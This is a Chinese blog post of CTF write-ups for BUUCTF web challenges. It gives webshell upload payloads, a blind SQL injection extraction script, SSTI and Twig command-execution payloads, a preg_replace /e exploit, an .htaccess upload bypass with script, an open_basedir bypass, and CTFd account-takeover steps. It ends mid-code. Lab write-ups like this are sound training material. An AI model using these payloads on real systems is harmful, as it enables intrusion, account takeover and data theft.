

BUUCTF刷题记录(4)

原创


bmth666 于 2020-04-12 12:43:11 发布 741 收藏

分类专栏： 刷题 文章标签： 安全 信息安全

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方法1： 使用源码给的getFlag函数

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和之前极客大挑战一样的题，上传后缀为phtml即可

Request

Raw Params Headers Hex

POST / HTTP/1.1
Host: 741fe6c5-fc33-4f55-9fd2-03f9d0eee11d.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----5012347716015
Content-Length: 357
Origin: http://741fe6c5-fc33-4f55-9fd2-03f9d0eee11d.node3.buuoj.cn
Connection: close
Referer: http://741fe6c5-fc33-4f55-9fd2-03f9d0eee11d.node3.buuoj.cn/
Upgrade-Insecure-Requests: 1
-----5012347716015
Content-Disposition: form-data; name="upload_file"; filename="a.phtml"
Content-Type: image/jpeg

GIF89a
<script language="php">@eval(\$_POST['pass']);</script>

-----5012347716015
Content-Disposition: form-data; name="submit"

upload
-----5012347716015--

后缀为phtml

Response

Raw Headers Hex HTML Render

c2.369-1.613,4.725-3.247,7.086-4.874c0.473-0.325,0.651-0.772,0.525-1.338c-0.091-0.433-0.369-0.79-0.793-0.757
c-0.429,0.026-0.88,0.21-1.245,0.443c-0.899,0.564-1.756,1.198-2.628,1.804c-0.794,0.555-1.589,1.109-2.388,1.659
c-0.772,0.534-1.678,0.551-2.419-0.02c-1.791-1.381-3.56-2.781-5.33-4.185c-0.543-0.429-1.167-0.429-1.71,0
c-1.771,1.404-3.541,2.804-5.326,4.181-0.742,0.575-1.648,0.562-2.425,0.024c-1.653-1.146-3.304-2.295-4.958-3.439
c-0.204-0.143-0.413-0.278-0.636-0.376c-0.814-0.355-1.507,0.114-1.61,1.089c48.567,49.361,48.733,49.747,49.028,49.956z
M69.706,69.17c1.593-1.068,3.174-2.148,4.762-3.23c0.433-0.293,0.533-0.716,0.451-1.198c-0.075-0.439-0.348-0.77-0.781-0.783
c-0.331-0.012-0.712,0.114-0.997,0.293c-0.946,0.599-1.859,1.252-2.787,1.878c-0.884,0.597-1.77,0.554-2.615-0.106
c-0.926-0.729-1.854-1.457-2.781-2.18c-0.52-0.405-1.094-0.403-1.619,0.086c-0.927,0.722-1.851,1.449-2.779,2.176
c-0.841,0.661-1.728,0.694-2.615,0.096c-0.913-0.617-1.818-1.245-2.732-1.857c-0.725-0.484-1.3-0.452-1.658,0.066
c-0.386,0.562-0.22,1.265,0.432,1.712c1.502,1.037,3.008,2.06,4.521,3.081c0.596,0.396,1.035,0.381,1.624-0.062
c0.955-0.717,1.889-1.463,2.849-2.173c0.768-0.572,1.585-0.569,2.355,0.003c0.96,0.716,1.895,1.462,2.854,2.174
c0.232,0.173,0.526,0.271,0.787,0.399c69.262,69.355,69.511,69.304,69.706,69.172"/>
</g>
<svg>
 <div class="light">
 <form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
 嘿伙计，你发现它了！
 <input class="input_file" type="file" name="upload_file"/>
 <input class="button" type="submit" name="submit" value="upload"/>
 </form>
 </div>
 </div>
<div style="color:#F00">Upload Success! Look here~ .upload/71056c0c9cb12f2b7d720156da9eabf1.phtml</div></body>
</html>

连上蚁剑，即可得到flag

111.73.46.229

编辑: /flag

/flag

1 flag{984ba661-d5a7-45d0-9856-3b3c1dbcad14}

2

[安洵杯 2019]easy_serialize_php

给出了源码，去看了wp

```

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','f1ig');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
} else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
} else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
} else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

```

首先查看phpinfo有什么 ?f=phpinfo

PHP Version	7.0.33	
Directive	Local Value	Master Value
allow_url_fopen	On	On
allow_url_include	Off	Off
arg_separator.input	&	&
arg_separator.output	&	&
auto_append_file	d0g3_f1ag.php	d0g3_f1ag.php
auto_globals_jit	On	On
auto_prepend_file	no value	no value
browscap	no value	no value
default_charset	UTF-8	UTF-8
default_mimetype	text/html	text/html

本题是关键字被置空导致长度变短，后面的值的单引号闭合了前面的值的单引号，导致一些内容逃逸。

我们利用变量覆盖post一个：

```
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
```

phpflag被替换为空后，\$serialize_info的内容为

```
a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";};s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
```

刚好把后面多余的img部分截断掉

```
<?php  
$flag = 'flag in /d0g3_f11111lag';  
?>
```

最后POST提交：_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

参考：王叹之：[安淘杯 2019]easy_serialize_php

[安淘杯 2019]easy_serialize_php

[BJDCTF2020]Mark loves cat

界面很炫，看不出名堂，看wp发现又是git泄露

```

<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
    $$x = $y;
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
    if($_GET['flag'] === $x && $x !== 'flag'){      //GET方式传flag只能传一个flag=flag
        exit($handsome);
    }
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){      //GET和POST其中之一必须传flag
    exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){      //GET和POST传flag, 必须不能是flag=flag
    exit($is);
}

echo "the flag is: ".$flag;

```

是\$\$变量覆盖的问题

首先我们post值: `$flag=flag`, 那么就变为了`$$flag=flag`

get传参为 `yds=flag` 这样随着源码执行以后就变成了 `$yds=$flag`; 这里的`$flag`是真的flag, 那么`$$x = $$y`, 也就是`$yds=flag{XXXXXX}`。

又满足

```

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}

```

即可输出\$yds，为flag



```
火狐官方站点 常用网址 新手上路 浙江省高等学校在线... 【i春秋】-专注网络安全... 爱课程 PTA | 程序设计类实验...
17 <script src="assets/js/jquery.js"></script>
18 <!--Isotope script load-->
19 <script src="assets/js/isotope.pkgd.js"></script>
20 <!-- magnific popup script load-->
21 <script src="assets/js/jquery.magnific-popup.js"></script>
22 <!--way point script load-->
23 <script src="assets/js/waypoints.min.js"></script>
24 <!--line progress bar script load-->
25 <script src="assets/js/circle-progress.min.js"></script>
26 <!-- counter up script load-->
27 <script src="assets/js/typed.js"></script>
28 <!-- typed script load-->
29 <script src="assets/js/jquery.counterup.min.js"></script>
30 <!--Owl carousel script load-->
31 <script src="assets/js/owl.carousel.min.js"></script>
32 <!--Image load script -->
33 <script src="assets/js/imagesloaded.pkgd.js"></script>
34 <!--Bootstrap v3 script load here-->
35 <script src="assets/js/bootstrap.min.js"></script>
36 <!--Slick Nav Js File Load-->
37 <script src="assets/js/jquery.slicknav.min.js"></script>
38 <!--Wow Js File Load-->
39 <script src="assets/js-wow.min.js"></script>
40 <!--Wow Js File Load-->
41 <script src="assets/js/scrollspy.js"></script>
42 <!--Main js file load-->
43 <script src="assets/js/main.js"></script>
44 </body>
45 </html>
46
47 f1ag{76c6ce21-53ce-4d16-b50e-7bf73026c635} https://blog.csdn.net/brnfh666
48
```

[CISCN2019 总决赛 Day2 Web1]Easyweb

查看robots.txt得到信息



```
火狐官方站点 常用网址 新手上路 浙江省高等学校在线... 【i春秋】-专注网络安全... 爱课程 PTA | 程序设计类实验...
User-agent: *
Disallow: *.php.bak
```

没找到文件，看wp发现是image.php.bak

```

< ?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\0","%00","\\"", ""),"$id");
$path=str_replace(array("\0","%00","\\"", ""),"$path");

$result=mysqli_query($con,"select * from images where id='".$id."' or path='".$path "'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);

```

addslashes

(PHP 4, PHP 5, PHP 7)

addslashes – 使用反斜线引用字符串

说明

`addslashes (string $str) : string`

返回字符串，该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号 (')、双引号 (")、反斜线 (\) 与 NUL (NULL 字符)。

一个使用 `addslashes()` 的例子是当你要往数据库中输入数据时。例如，将名字 O'reilly 插入到数据库中，这就需要对其进行转义。强烈建议使用 DBMS 指定的转义函数（比如 MySQL 是 `mysqli_real_escape_string()`, PostgreSQL 是 `pg_escape_string()`），但是如果你使用的 DBMS 没有一个转义函数，并且使用 \ 来转义特殊字符，你可以使用这个函数。仅仅是为了获取插入数据库的数据，额外的 \ 并不会插入。当 PHP 指令 `magic_quotes_sybase` 被设置成 `on` 时，意味着插入 ' 时将使用 ' 进行转义。
<https://blog.csdn.net/bmth666>

对单引号进行了过滤，无法闭合单引号，所以我们用 \0 来转义掉它的单引号。 \0 经过addslashes函数会先变成 \\0,然后经过 str_replace函数，会变成 \，这样，就把id后面的单引号给转义了。

```
select * from images where id='\' or path=' or 1=1# //闭合成功
```

师傅脚本如下：

```
import requests

url = "http://9ab2997c-d180-475a-997b-cd035771b930.node3.buuoj.cn/image.php"
result = ''

for x in range(0, 100):
    high = 127
    low = 32
    mid = (low + high) // 2
    while high > low:
        #payload = " or id=if(ascii(substr((database()),%d,1))>%d,1,0)#" % (x, mid)
        #payload = " or id=if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
        #users
        #payload = " or id=if(ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),%d,1))>%d,1,0)#" % (x, mid)
        #password
        payload = " or id=if(ascii(substr((select password from users limit 0,1),%d,1))>%d,1,0)#" % (x, mid)
        params = {
            'id': '\0',
            'path': payload
        }
        response = requests.get(url, params=params)
        if b'JFIF' in response.content:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2

    result += chr(int(mid))
print(result)
```

得到密码: `f6be5fb688d9a417d057`, 登录发现是文件上传

因为不允许上传带php的文件名, 我们用php短标签来绕过:

`<?php @eval($_POST['a']);?>` 可以用 `<?= @eval($_POST['a']);?>` 来代替。这个文件名, 会被写入日志文件中去, 然后用菜刀连接。

抓包传入

Request

Raw Params Headers Hex

```
POST /upload.php HTTP/1.1
Host: 9ab2997c-d180-475a-997b-cd035771b930.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=-----18691991225667
Content-Length: 330
Origin: http://9ab2997c-d180-475a-997b-cd035771b930.node3.buuoj.cn
Connection: close
Referer: http://9ab2997c-d180-475a-997b-cd035771b930.node3.buuoj.cn/user.php
Cookie: username=QESFDx4%3D
Upgrade-Insecure-Requests: 1

-----18691991225667
Content-Disposition: form-data; name="file"; filename="<?= @eval($_POST['a']);?>"
Content-Type: text/plain

<?= @eval($_POST['a']);?>
-----18691991225667
Content-Disposition: form-data; name="submit"

Submit
-----18691991225667--
```

Response

Raw Headers Hex HTML Render

```
HTTP/1.1 200 OK
Server: openresty
Date: Thu, 19 Mar 2020 13:11:21 GMT
Content-Type: text/html
Content-Length: 157
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/5.5.9-1ubuntu4.29

I logged the file name you uploaded to logs/upload.524a38d9460db5ac1b187189ba9ad6ec.log.php.
LOL<script>setTimeout('location.href="user.php"',3000);</script>
```

https://blog.csdn.net/brmth666

蚁剑连接, 就可以在根目录得到flag

A terminal window titled "111.73.46.229" with the command "编辑: /flag" entered. The output shows two lines of text: "1 flag{782c0316-9767-4ee1-9918-591991cabf9a}" and "2".


参考:

Mustapha Mond : 刷题记录: [CISCN2019 总决赛 Day2 Web1]Easyweb

王叹之: [CISCN2019 总决赛 Day2 Web1]Easyweb

[BJDCTF2020]The mystery of ip

XFF头的ssti模板注入, 不会, 看wp



首先发一个包添加: `X-Forwarded-For: test`

Request

Raw Headers Hex

Response

Raw Headers Hex HTML Render

Raw Headers Hex

```
GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:27162
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: test
Cache-Control: max-age=0
```

Raw Headers Hex HTML Render

```
<ul class="nav navbar-nav navbar-right ul-head2">
<li class=""><a href="flag.php">Flag</a></li>
<li class=""><a href="hint.php">Hint</a></li>
</ul>
<ul class="nav navbar-nav navbar-right ul-head2">
<li class=""><a href="index.php">@Shana</a></li>
</ul>
</div>
</div>
</div>
<div class="container panel1">
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<div class="jumbotron pan">
<div class="form-group log">
<label><h2>Your IP is : test</h2></label>
```

<https://blog.csdn.net/brmth666>

可行，那么就开始执行语句了 `X-Forwarded-For: {{system('ls')}}`

Request

Raw Headers Hex

```
GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:27162
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: {{system('ls')}} ←
Cache-Control: max-age=0
```

执行system('ls')

Response

Raw Headers Hex HTML Render

```
</div>
</div>
<div class="container panel1">
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<div class="col-md-4">
<div class="jumbotron pan">
<div class="form-group log">
<label><h2>Your IP is : bootstrap</h2></label>
```

<https://blog.csdn.net/brmth666>

最后在根目录得到flag， `X-Forwarded-For: {{system('cat /flag')}}`

Raw Headers Hex

```
GET /flag.php HTTP/1.1
Host: node3.buuoj.cn:27162
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
X-Forwarded-For: {{system('cat /flag')}} ←
Cache-Control: max-age=0
```

Raw Headers Hex HTML Render

```
<ul class="nav navbar-nav navbar-right ul-head2">
<li class=""><a href="hint.php">Hint</a></li>
</ul>
<ul class="nav navbar-nav navbar-right ul-head2">
<li class=""><a href="index.php">@Shana</a></li>
</ul>
</div>
</div>
</div>
<div class="container panel1">
<div class="row">
<div class="col-md-4">
</div>
<div class="col-md-4">
<div class="col-md-4">
<div class="jumbotron pan">
<div class="form-group log">
<label><h2>Your IP is : flag(69154f22-a962-4245-8a90-0a9e8e80ce64)</h2></label>
```

flag(69154f22-a962-4245-8a90-0a9e8e80ce64) <https://blog.csdn.net/brmth666>

[SUCTF 2019]EasyWeb

题目给出了源码：

```

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!!
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
        mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strpos($name, ".") + 1);
        if(preg_match("/ph/i", $extension)) die("^_^");
        if(mbstrpos(file_get_contents($tmp_name), '<?') != False) die("^_^");
        if(!exif_imagetype($tmp_name)) die("^_^");
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00-\x9A-Za-z\''`\~_&.|= [\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

```

借鉴师傅的文章：

1. 代码中没有引号的字符都自动作为字符串：

php的经典特性“Use of undefined constant”，会将代码中没有引号的字符都自动作为字符串，7.2开始提出要被废弃，不过目前还存在着。

就是 `$_GET['cmd']` 和 `$_GET[cmd]` 都可以

2. Ascii码大于 0x7F 的字符都会被当作字符串，而和 0xFF 异或相当于取反，可以绕过被过滤的取反符号

3. PHP中的的大括号(花括号{})使用详解

`$str{4}` 在字符串的变量的后面跟上{}大括号或者中括号[], 里面填写了数字，这里是把字符串变量当成数组处理。那么使用 `$_GET{cmd}`

The screenshot shows a web-based exploit development interface. In the top bar, there are buttons for '保存(Save)', '我的代码' (My Code), '嵌入博客(Embed)', '执行(Run)', and a '+' button. Below the bar, the code input field contains:

```
<?php
echo urldecode('ÿÿÿÿÿÿÿÿ')^urldecode('a0b8baab');|
```

The status bar at the bottom right indicates: '_GET sandbox> exited with status 0'.

最后使用

```
?_= ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
?_= ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
```

The screenshot shows a browser window with the URL `node3.buuoj.cn/?_= ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo`. The page displays the PHP Version **7.2.19-0ubuntu0.18.04.2** and the **php logo**.

System	Linux ab19167a7ecd 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020 x86_64
Build Date	Aug 12 2019 19:34:28
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php/7.2/apache2
Loaded Configuration File	/etc/php/7.2/apache2/php.ini
Scan this dir for additional .ini files	/etc/php/7.2/apache2/conf.d
Additional .ini files parsed	/etc/php/7.2/apache2/conf.d/10-opcache.ini, /etc/php/7.2/apache2/conf.d/10-pdo.ini, /etc/php/7.2/apache2/conf.d/20-calendar.ini, /etc/php/7.2/apache2/conf.d/20-ctype.ini, /etc/php/7.2/apache2/conf.d/20-exif.ini, /etc/php/7.2/apache2/conf.d/20-fileinfo.ini, /etc/php/7.2/apache2/conf.d/20-ftp.ini, /etc/php/7.2/apache2/conf.d/20-gettext.ini, /etc/php/7.2/apache2/conf.d/20-iconv.ini, /etc/php/7.2/apache2/conf.d/20-json.ini, /etc/php/7.2/apache2/conf.d/20-mbstring.ini, /etc/php/7.2/apache2/conf.d/20-phar.ini, /etc/php/7.2/apache2/conf.d/20-posix.ini, /etc/php/7.2/apache2/conf.d/20-readline.ini, /etc/php/7.2/apache2/conf.d/20-shmop.ini, /etc/php/7.2/apache2/conf.d/20-sockets.ini

之后就是上传getshell了，php版本为7.2所以，不能用 `<script>` 标签绕过 `<?` 的过滤了，使用base64编码绕过，上传.htaccess：

```
#define width 1
#define height 1
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.abc"
```

使用师傅脚本上传：

这里 **GIF89a** 后面那个 **12** 是为了补足8个字节，满足base64编码的规则

```
import requests
import base64

htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .abc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_76d9f00467e5ee6
abc3ca60892ef304e/shell.abc"
"""

shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['a']);?>")
url = "http://e0ddff1c-0e40-477c-9983-2527568ece3b.node3.buuoj.cn?_= ${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();%fe=get
_the_flag"

files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)

files = {'file':('shell.abc',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
```

The screenshot shows a terminal window with the following content:

```
[SUICTF 2019]EasyWeb.py
E:\python\python.exe "E:/ctf/buuctf/web/[SUICTF 2019]EasyWeb.py"
upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/.htaccess
upload/tmp_76d9f00467e5ee6abc3ca60892ef304e/shell.abc


Process finished with exit code 0
```

最后一关：绕过open_basedir/disable_function，[bypass open_basedir的新方法](#)，借鉴师傅的文章：

open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域，
假设open_basedir=/home/wwwroot/home/web1/:/tmp/，
那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir" = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。
所以如果要将访问限制在仅为指定的目录, 请用斜线结束路径名。

接下来使用payload找flag:

```
?a=chdir('img');ini_set('open_basedir','..');chdir(..);chdir(..);chdir(..);chdir(..);ini_set('open_basedir','/');print_r(scandir('/'));
```



读取flag

```
?a=chdir('img');ini_set('open_basedir','..');chdir(..);chdir(..);chdir(..);ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));
```



参考:

Mustapha Mond : 刷题记录: [SUCTF 2019]EasyWeb(EasyPHP)

SUCTF 2019 Easyweb

Cyc1e: 2019 SUCTF Web writeup

王叹之: [SUCTF 2019]EasyWeb

[V&N2020 公开赛]HappyCTFd

在user里只有admin, 那么应该就是要使用admin登录, 参考wp得

利用方式:

1. 利用添加空格绕过限制来注册一个与受害者用户名相同的账号
2. 生成忘记密码链接发送到自己的邮箱
3. 将自己的账号的用户名改成与被攻击者不相同的用户名
4. 用邮箱中收到的链接更改密码即可。

首先在内网注册一个邮箱账号



Webmail Client setup Website Help Sign in Sign up


Email address: bmth666 @mail.buuoj.cn

Password: Confirm password:

Sign up

<https://blog.csdn.net/bmth666>

在注册处使用admin注册，空格绕过



User Name: admin


Email: bmth666@mail.buuoj.cn

Password:

[Submit](#)

Powered by CTFd <https://blog.csdn.net/bmth666>


在登录处选择找回密码



Email: bmth666@mail.buuoj.cn

[Submit](#)

发送完后更改自己的账号名称



Profile

User Name
111111

Access Tokens

Email
bmth666@mail.buuoj.cn

<https://blog.csdn.net/bmth666>

在邮箱收到网址，更改密码即可登录admin账户，

The screenshot shows an incoming email in the Roundcube webmail interface. The email is from 'happyctfd@mail.buuoj.cn' and is titled 'Message from MiaoCTF'. It contains a password reset link: http://f0cf861e-a975-4cdc-8484-288dde839ea5.node3.buuoj.cn/reset_password/ImFkbWluIg.XnRXWA.v_fgwlU1JpPAzA5lQm5b6R6mb-w. The URL 'https://blog.csdn.net/bmth666' is visible in the bottom right corner.

然后就是找flag了，最后找到了一个miaoflag.txt的文件，下载即可得到flag

Misc
standard
hidden
100 points
Download Delete

Solves Flags Files Tags Hints Requirements

Files

File	Settings
miaoflag.txt	X
浏览 未选择文件	

Name Challenge Name
Challenge Name
Category Challenge Category
Challenge Category
Misc
Message https://blog.csdn.net/brnith666

参考：

CVE-2020-7245 CTFd v2.0.0 – v2.2.2 account takeover分析
[V&N2020 公开赛]

[BJDCTF2020]ZJCTF, 不过如此

u1s1, 很拽, 和ZJCTF出的的逆转思维很像, 给出了源码:

```
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&($file_get_contents($text,'r')=="I have a dream")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        die("Not now!");
    }
}

include($file); //next.php

}
else{
    highlight_file(__FILE__);
}
?>
```

使用伪协议读取

```
?text=php://input 然后POST方式提交 I have a dream 或者 ?text=data://text/plain,I have a dream  
&file=php://filter/convert.base64-encode/resource=next.php
```

获得next.php的base64编码

The screenshot shows a web-based tool for encoding and decoding base64 strings. On the left, under '明文:' (Plain Text), is the PHP source code for 'next.php'. It includes a function 'complex' that uses preg_replace to modify strings, and a 'getFlag' function that executes user-provided commands via eval. On the right, under 'BASE64:', is the base64 encoded version of this code. Below the tool is a URL: <https://blog.csdn.net/brnfh666>.

```
<?php  
$id = $_GET['id'];  
$_SESSION['id'] = $id;  
  
function complex($re, $str) {  
    return preg_replace(  
        '/(^ . )/e',  
        'strtolower("\1")',  
        $str  
    );  
}  
  
foreach($_GET as $re => $str) {  
    echo complex($re, $str). "\n";  
}  
  
function getFlag(){  
    @eval($_GET['cmd']);  
}
```

```
PD9waHAKJGiklD0gJF9HRVRbJ2IkJ107CiRfU0VTU0lPTlsnaWQnXS  
A9ICRpZDsKCmZ1bmN0aW9uIGNvbXBsZXgoJHJLCAkc3RyKSB7Ci  
AgICByZXR1cm4gcHJIZ19yZXBsYWNIAogICAglCAGlCcvKCcgLiAk  
mUgLiAnKS9laScsCiAgICAgICAgJ3N0cnRvbG93ZXlolxcMSlpJywKIC  
AgICAgICAg3RyCiAgICApOwp9CgoKZm9yZWFljaCgkX0dFVCBhcyA  
kcmUgPT4gJHN0cikgewogICAgZWNobyBjb21wbGV4KCRyZSwgJHN  
0ciklCJcbil7Cn0KCmZ1bmN0aW9uIGdldEZsYWcoKXsKCUBldmFsK  
CRfR0VUWydjWQnXSk7Cn0K
```

看wp发现是preg_replace的/e漏洞

```
?\\$*=xxxxxx 这样后面的xxx就会被当作命令执行
```

方法1：使用源码给的getFlag函数

```
?\\$*=${getflag()}&cmd=show_source("/flag");
```

The screenshot shows a browser window with the URL [http://node3.buuoj.cn/next.php?\\\\$*=\\${getflag\(\)}&cmd=show_source\(/flag\);](http://node3.buuoj.cn/next.php?\\$*=${getflag()}&cmd=show_source(/flag);). The page displays the flag and the command to show the source code.

```
f1ag{5c918060-0854-4ee3-974c-7a24e9a242f1}  
show_source("/flag");
```


方法2：构造post传参

```
?\\$*=${eval($_POST[pass])}
```

POST提交:

```
pass=system("cat /flag");
```

```
flag{5c918060-0854-4ee3-974c-7a24e9a242f1}
```




参考链接: 深入研究preg_replace与代码执行

[BJDCTF2020]Cookie is so stable

不会，看wp又是一个Twig模板注入

输入 {{7*'7')}}



那么就抓包查看发现注入点是user

师傅的payload:

```
__self.env.registerUndefinedFilterCallback("exec"))}{__self.env.getFilter("cat /flag"));
```

Request

Raw Headers Hex

```
GET /flag.php HTTP/1.1
Host: 286eec4-f410-46a8-9bd3-c2c7dfb09080.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://286eec4-f410-46a8-9bd3-c2c7dfb09080.node3.buuoj.cn/flag.php
Connection: close
Cookie: PHPSESSID=35212abaeeb49c1d5f6522a8eb3137e3;
user=__self.env.registerUndefinedFilterCallback("exec"))}{__self.env.getFilter("cat /flag"))}
Content-Length: 0
Upgrade-Insecure-Requests: 1
```

Response

Raw Headers Hex HTML Render

```
<li><a href=index.php>@Shana</a></li>
</ul>
</div>
</div>
<div class="container panel">
  <div class="row">
    <div class="col-md-4">
      <div class="col-md-4">
        <div class="jumbotron pan"> <div class="form-group log">
          <label><h2>Hello flag{2b59511a-8f79-440a-9595-493486527d7c}</h2><label>
          </div> <div class="row pt-3">
            <div class="col-md-12">
              <a href="logout.php"><button type="submit" form="form1" name="Logout" value="logout" class="btn btn-default float-right">Logout</button></a> https://blog.csdn.net/bmth666
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
</div>
```

参考：

服务端模板注入攻击

[BJDCTF2020]Cookie is so stable

[HTCON 2017]SSRFme

给出了源码：

```

<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
    $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
